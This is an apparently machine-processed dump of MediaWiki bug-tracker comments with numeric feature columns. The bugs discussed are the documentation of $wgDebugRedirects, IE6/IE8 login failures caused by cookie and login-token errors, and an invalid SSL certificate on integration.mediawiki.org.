* When ""$wgDebugRedirects = false"" (default), it actually generates HTTP 301
reply to trigger redirection.
* When ""$wgDebugRedirects = true"", it generates regular HTTP 200 reply
(success) providing web page with link.

--- Wiki logic level
Word ""redirect"" in MediaWiki has additional meaning: provide content of the
page normally accessed through a different name. In the case of such redirect, no
HTTP 301 reply is attempted, and MediaWiki simply provides content of another
page right away using HTTP 200 reply.",,,1325848343,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,1.5,0.0,5.5,1.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,4.5,7.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,6.5,1.5,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,16.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,4.0,3.5,11.5,2.0,1.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,3.5,7.0,5.5,0.0,5.0,0.0,3.5,0.0,2.0,0.5,0.5,1.5,0.0,0.0,0.0,3.88265306122449,0.6581632653061225,"**pakseykin** wrote:

Niklas, let me elaborate on this as I understand it.

If the following is correct, the bug can be closed. But I think documentation
should be clarified then. What I was trying to do is to disable the ""Wiki logic
level"" redirects.

--- HTTP level
The ""$wgDebugRedirects"" variable controls the action when MediaWiki is about to
generate 301 HTTP reply:
* When ""$wgDebugRedirects = false"" (default), it actually generates HTTP 301
reply to trigger redirection.
* When ""$wgDebugRedirects = true"", it generates regular HTTP 200 reply
(success) providing web page with link.

--- Wiki logic level
Word ""redirect"" in MediaWiki has additional meaning: provide content of the
page normally accessed through a different name. In the case of such redirect, no
HTTP 301 reply is attempted, and MediaWiki simply provides content of another
page right away using HTTP 200 reply."
155572,Documentation of $wgDebugRedirects doesn't clearly state it's about HTTP redirects,The case you describe isn't actually a redirection. The setting only affects real HTTP redirects.,,,1325847165,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-zii6cu3u7akmhhsnzgl3,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,0.8888888888888888,The case you describe isn't actually a redirection. The setting only affects real HTTP redirects.
35503,Cannot login using IE6 and/or IE8,"**Author:** `free4spams`

**Description:**
No matter what login to use, it still request to enable cookie

I have hard time to login using IE6 (OS WinXP SP3), login page keep telling me to enable cookie, and I already enable cookie in IE6. I tried the configuration using WAMP.
I knew IE6 is so damn old already, but working under corporate and decentralize users hard to upgrade this old browser, and users also did not have any internet connection.
Is there any workaround or suggestion regarding this issue? I had no problem in using modern browser, ie chrome, firefox and opera.

My IE6 only using Google Chrome Frame installed as addon. Fiddler addon is later installed.

--------------------------
**Version**: 1.18.x
**Severity**: normal

**Attached**: {F8740}",Medium,50.0,1325649480,1424102860.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-pxjowzpofhdln4timevf,task_description,invalid,True,c2,1,False,False,False,-86,True,1.0,0.0,0.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,3.5,0.0,6.0,4.5,0.0,2.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.0,3.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,14.5,0.0,3.0,3.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.0,4.5,8.5,0.5,0.0,0.0,4.0,0.0,0.5,0.0,0.5,3.5,0.0,0.0,0.5,3.7732558139534884,0.6569767441860466,"**Author:** CODE

**Description:**
No matter what login to use, it still request to enable cookie

I have hard time to login using IE6 (OS WinXP SP3), login page keep telling me to enable cookie, and I already enable cookie in IE6. I tried the configuration using WAMP.
I knew IE6 is so damn old already, but working under corporate and decentralize users hard to upgrade this old browser, and users also did not have any internet connection.
Is there any workaround or suggestion regarding this issue? I had no problem in using modern browser, ie chrome, firefox and opera.

My IE6 only using Google Chrome Frame installed as addon. Fiddler addon is later installed.

--------------------------
**Version**: 1.18.x
**Severity**: normal

**Attached**: {F8740}"
412221,Cannot login using IE6 and/or IE8,Not reproducible.,,,1424102860,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,3,True,,,76,True,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,Not reproducible.
162460,Cannot login using IE6 and/or IE8,"**swalling** wrote:

Is this still an issue? Also, some comments suggest that it's not specific to IE6, and so the bug title seems misleading.",,,1397030305,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,3,False,,,32,True,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8857142857142857,"**swalling** wrote:

Is this still an issue? Also, some comments suggest that it's not specific to IE6, and so the bug title seems misleading."
162455,Cannot login using IE6 and/or IE8,"**zhuxin.yang** wrote:

I think I met the same problem. I have a mediawiki setup, but IE8 login will always fail with the cookie error, while other browsers like firefox, chrome are all ok.

One more strange thing is that st my side when use IP address link to login with IE, it works. But use DNS names it failed. (eg use IE to login http://xx.xx.xx.xx/mediawiki is ok, but login http://abc.def.com/mediawiki will fail)

I'm sorry I can't provide a link either as it's on my company's intranet. But I believe there must be some hidden bug in MediaWiki code that has IE compatibility issue (for me it's 100% reproducible), and probably start happening after 1.16 version with CSRF fixes added.

I did a little debug and looking into code at SpecialUserLogin.php function authenticateUserData:

                // If the user doesn't have a login token yet, set one.
                if ( !self::getLoginToken() ) {
                        self::setLoginToken();
                        return self::NEED_TOKEN;
                }
                // If the user didn't pass a login token, tell them we need one
                if ( !$this->mToken ) {
                        return self::NEED_TOKEN;
                }

                $throttleCount = self::incLoginThrottle( $this->mUsername );
                if ( $throttleCount === true ) {
                        return self::THROTTLED;
                }

                // Validate the login token
                if ( $this->mToken !== self::getLoginToken() ) {
                        return self::WRONG_TOKEN;
                }

When I login with IE, it stops at the first if statement and returned NEED_TOKEN. That's why I saw the ""Cookie disabled"" message.

I'm not an PHP expert and not quite understand what it's doing here, but I feel if user doesn't have a login token, then set one should work rather than just stop and return an error. So I comment out the return line and try, then it fails at the validate token part and returns WRONG_TOKEN.

If I even comment out the return self::WRONG_TOKEN line, it will go on and finally still fail and prompt me incorrect password (though my password is correct).

Hope somebody and look at this and get it fixed. Thanks.

By the way I'm using LDAP authentication extension, and nothing other special in LocalSettings.php.",,,1326162649,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.4,0.2,0.0,0.0,1.2,3.8,1.0,0.0,0.2,1.8,0.6,1.4,0.0,0.0,0.2,4.2,0.0,5.0,7.2,0.4,0.4,0.4,0.2,0.0,1.8,0.4,0.0,0.0,0.0,0.6,0.0,6.6,1.2,1.8,0.8,0.0,0.0,0.0,0.8,0.0,0.0,0.2,0.0,1.2,0.0,0.4,0.0,0.2,0.0,11.6,0.4,0.2,0.0,0.4,0.0,0.2,0.0,0.0,0.4,0.0,0.8,1.0,0.0,0.4,0.0,0.4,0.2,4.0,1.0,9.4,3.0,3.8,4.8,0.0,0.0,0.6,0.0,4.6,0.0,1.2,0.0,6.6,7.2,5.0,0.0,0.4,0.0,6.6,0.0,1.0,1.6,0.6,0.8,0.2,0.0,0.0,4.46008682328907,0.6806690500510725,"**zhuxin.yang** wrote:

I think I met the same problem. I have a mediawiki setup, but IE8 login will always fail with the cookie error, while other browsers like firefox, chrome are all ok.

One more strange thing is that st my side when use IP address link to login with IE, it works. But use DNS names it failed. (eg use IE to login URL is ok, but login URL will fail)

I'm sorry I can't provide a link either as it's on my company's intranet. But I believe there must be some hidden bug in MediaWiki code that has IE compatibility issue (for me it's 100% reproducible), and probably start happening after 1.16 version with CSRF fixes added.

I did a little debug and looking into code at SpecialUserLogin.php function authenticateUserData:

                // If the user doesn't have a login token yet, set one.
                if ( !self::getLoginToken() ) {
                        self::setLoginToken();
                        return self::NEED_TOKEN;
                }
                // If the user didn't pass a login token, tell them we need one
                if ( !$this->mToken ) {
                        return self::NEED_TOKEN;
                }

                $throttleCount = self::incLoginThrottle( $this->mUsername );
                if ( $throttleCount === true ) {
                        return self::THROTTLED;
                }

                // Validate the login token
                if ( $this->mToken !== self::getLoginToken() ) {
                        return self::WRONG_TOKEN;
                }

When I login with IE, it stops at the first if statement and returned NEED_TOKEN. That's why I saw the ""Cookie disabled"" message.

I'm not an PHP expert and not quite understand what it's doing here, but I feel if user doesn't have a login token, then set one should work rather than just stop and return an error. So I comment out the return line and try, then it fails at the validate token part and returns WRONG_TOKEN.

If I even comment out the return self::WRONG_TOKEN line, it will go on and finally still fail and prompt me incorrect password (though my password is correct).

Hope somebody and look at this and get it fixed. Thanks.

By the way I'm using LDAP authentication extension, and nothing other special in LocalSettings.php."
162447,Cannot login using IE6 and/or IE8,"I used your LocalSettings.php file and an instance of IE8 on http://winkyfrown.com/wiki/ and I *think* I saw this bug once or twice, but it seems to be very sporadic.",,,1326135468,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,15.0,9.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.8787878787878788,"I used your LocalSettings.php file and an instance of IE8 on URL and I *think* I saw this bug once or twice, but it seems to be very sporadic."
162439,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

Please see my attachments for localsettings file and version with extension page. I'm really sorry, but you can't access the wiki, as it is local machine and I'm using laptop as my development machine.",,,1325931642,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,8.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.877551020408163,0.7755102040816326,"**free4spams** wrote:

Please see my attachments for localsettings file and version with extension page. I'm really sorry, but you can't access the wiki, as it is local machine and I'm using laptop as my development machine."
162432,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

version and extensions

**Attached**: {F8743}",,,1325931502,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0476190476190474,0.5714285714285714,"**free4spams** wrote:

version and extensions

**Attached**: {F8743}"
162427,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

LocalSettings

LocalSettings file

**Attached**: {F8742}",,,1325931087,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.5,"**free4spams** wrote:

LocalSettings

LocalSettings file

**Attached**: {F8742}"
162421,Cannot login using IE6 and/or IE8,"Could you provide us with a URL to see your wiki?

Otherwise, what extensions are you using?  What does Special:Version say?  What is in your LocalSettings.php?",,,1325865531,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,14.0,8.0,6.0,11.0,0.0,0.0,14.0,0.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,3.7777777777777777,0.8055555555555556,"Could you provide us with a URL to see your wiki?

Otherwise, what extensions are you using?  What does Special:Version say?  What is in your LocalSettings.php?"
162417,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

If let say it is my mediawiki configuration not right, any hint which configuration is not supported by IE?
I already disable HttpOnly as I see from google not quite compatible with IE6-7.

If let say it is my IE configuration not right, I can login into our own private bugtracker system without any problem and it using cookies also to track user login and session. 

BTW, while testing login mediawiki using IE(6&8), I already lower the privacy into lowest level to accept all cookie.",,,1325745378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,2.5,0.0,0.0,0.5,2.5,4.5,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,5.0,0.0,7.0,8.5,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.5,1.5,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,1.0,1.5,8.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,7.0,8.5,4.5,0.5,0.0,0.0,7.0,0.0,0.5,0.0,0.0,3.0,0.0,1.0,0.0,3.9942348008385746,0.7667714884696017,"**free4spams** wrote:

If let say it is my mediawiki configuration not right, any hint which configuration is not supported by IE?
I already disable HttpOnly as I see from google not quite compatible with IE6-7.

If let say it is my IE configuration not right, I can login into our own private bugtracker system without any problem and it using cookies also to track user login and session. 

BTW, while testing login mediawiki using IE(6&8), I already lower the privacy into lowest level to accept all cookie."
162412,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

Console logging shows no error

**Attached**: {F8741}",,,1325745011,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6086956521739131,"**free4spams** wrote:

Console logging shows no error

**Attached**: {F8741}"
162407,Cannot login using IE6 and/or IE8,"(In reply to comment #3)
> > But it did not happen when using other than IE browser (even on IE8 too)
> 
> Sorry, what i meant is even in IE8 also didnt work, same message error with
> IE6.

IE8 at least has a debugger.  Hit F12 and see if any errors show up on the Script tab (http://stackoverflow.com/questions/1648582/equivalent-of-firefoxs-error-console-in-other-browsers).

I really suspect this is something in your own configuration since we would have heard about this by now if it was more widespread.",,,1325738140,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,17.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,17.0,5.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,17.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,3.4393939393939394,0.8333333333333334,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

IE8 at least has a debugger.  Hit F12 and see if any errors show up on the Script tab (URL

I really suspect this is something in your own configuration since we would have heard about this by now if it was more widespread."
162400,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

> But it did not happen when using other than IE browser (even on IE8 too)

Sorry, what i meant is even in IE8 also didnt work, same message error with IE6.",,,1325724901,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.8333333333333334,"**free4spams** wrote:

QUOTE

Sorry, what i meant is even in IE8 also didnt work, same message error with IE6."
162395,Cannot login using IE6 and/or IE8,"**free4spams** wrote:

(In reply to comment #1)
> Are you sure this is not a problem specific to the wiki you're trying to log in
> on? Such error message can be the result of a bad setup on the server side
> (like an unwritable session.save_path).

""Is there any workaround or suggestion regarding this issue? I had no problem in
using modern browser, ie chrome, firefox and opera.""

But it did not happen when using other than IE browser (even on IE8 too). If let's say it is due to server configuration, how to set it up (any guides or hints)? FYI, I'm using windows environment and WAMP stack.",,,1325724659,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,1.5,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.5,1.5,0.0,5.0,7.5,0.0,2.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.5,2.5,0.0,3.0,3.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,9.5,3.0,4.0,2.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,5.5,7.5,4.0,1.5,1.0,0.0,5.5,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.5,3.3236574746008705,0.8098693759071118,"**free4spams** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE

""Is there any workaround or suggestion regarding this issue? I had no problem in
using modern browser, ie chrome, firefox and opera.""

But it did not happen when using other than IE browser (even on IE8 too). If let's say it is due to server configuration, how to set it up (any guides or hints)? FYI, I'm using windows environment and WAMP stack."
162391,Cannot login using IE6 and/or IE8,Are you sure this is not a problem specific to the wiki you're trying to log in on? Such error message can be the result of a bad setup on the server side (like an unwritable session.save_path).,,,1325695200,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pxjowzpofhdln4timevf,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,5.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,17.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,3.761904761904762,0.8571428571428571,Are you sure this is not a problem specific to the wiki you're trying to log in on? Such error message can be the result of a bad setup on the server side (like an unwritable session.save_path).
35301,Bad SSL cert at integration.mediawiki.org,"Split out from bug 29550:


          integration.mediawiki.org uses an invalid security certificate.

The certificate is only valid for the following names:
  *.wikimedia.org , wikimedia.org  

(Error code: ssl_error_bad_cert_domain)

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://integration.mediawiki.org/testswarm/",Medium,50.0,1324490280,1324564550.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_description,resolved,True,c2,1,True,False,True,-88,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.698412698412699,0.6507936507936508,"Split out from bug 29550:


          integration.mediawiki.org uses an invalid security certificate.

The certificate is only valid for the following names:
  *.wikimedia.org , wikimedia.org  

(Error code: ssl_error_bad_cert_domain)

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
159101,Bad SSL cert at integration.mediawiki.org,(merging Continuous Integration into Testing Infrastructure),,,1325631155,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-87,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.875,1.0,(merging Continuous Integration into Testing Infrastructure)
